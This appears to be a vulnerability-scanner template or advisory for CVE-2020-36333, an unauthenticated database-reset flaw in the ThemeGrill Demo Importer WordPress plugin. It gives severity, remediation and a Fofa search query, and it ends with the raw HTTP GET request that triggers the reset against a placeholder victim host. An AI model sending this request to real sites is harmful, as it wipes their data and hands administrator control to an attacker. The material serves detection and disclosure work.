| Title | ThemeGrill Demo Importer < 1.6.2 - Database Reset |
|---|---|
| Author | iamnoooob,pdresearch |
| Severity | Critical |
| Impact | Unauthenticated attackers can wipe the entire WordPress database to its default state and gain automatic administrator access, resulting in complete site takeover and data loss. |
| Remediation | Upgrade to ThemeGrill Demo Importer version 1.6.2 or later. |
| CVSS Score | 9.1 |
| EPSS Score | 0.50218 |
| CVE ID | CVE-2020-36333 |
| CWE ID | CWE-285 |
| Fofa Query | body="/plugins/themegrill-demo-importer" |
| Tags | cve cve2020 wp wordpress wp-plugin themegrill vkev vuln |
ThemeGrill Demo Importer before 1.6.2 does not require authentication for wiping the database due to a reset_wizard_actions hook. In versions 1.3.4 and above and versions 1.6.1 and below, there is a vulnerability that allows any unauthenticated user to wipe the entire database to its default state after which they are automatically logged in as an administrator.
GET /wp-admin/admin-post.php?do_reset_wordpress=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
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